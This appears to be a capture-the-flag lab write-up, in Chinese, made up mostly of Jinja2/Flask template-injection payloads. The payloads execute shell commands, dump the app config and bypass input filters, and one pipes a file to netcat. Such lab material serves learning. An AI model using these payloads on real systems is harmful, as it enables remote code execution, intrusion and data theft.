SSTI-labs
(ssti大概就是全程跟着查到的wp做了一遍)
## LEVEL 1 1. 由于不是用get提交,用burp抓包,并且用爆破模块查一下可用的类,比如`__import__` 2. 贴一下爆破时用的payload:1 | code={{[].__class__.__base__.__subclasses__()[§§].__init__.__globals__['__import__']}} |
1 | code={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("cat flag").read()}} |
1 | code={%print+[].__class__.__base__.__subclasses__()[§§].__init__.__globals__['__import__']%} |
1 | {%print [].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("cat flag").read()%} |
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 0.0.0.0 8080').read()}}{% endif %}{% endfor %} |
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(100).__init__.__globals__.__getitem__('__import__')('os').popen('cat flag').read()}} |
1 | {{().__class__.__mro__[-1].__subclasses__()[§§].__init__.__globals__.__builtins__.chr}} |
1 | code={%set+chr=[].__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr%}+{%print(().__class__.__mro__[-1].__subclasses__()[233].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%} |
1 | {{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}} |
1 | {{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} |
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(233)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}} |
1 | {{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}} |
1 | {% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %} |
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
1 | {{url_for.__globals__['current_app'].config}} |
1 | url_for:flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ʕ·͡˔·Ɂ!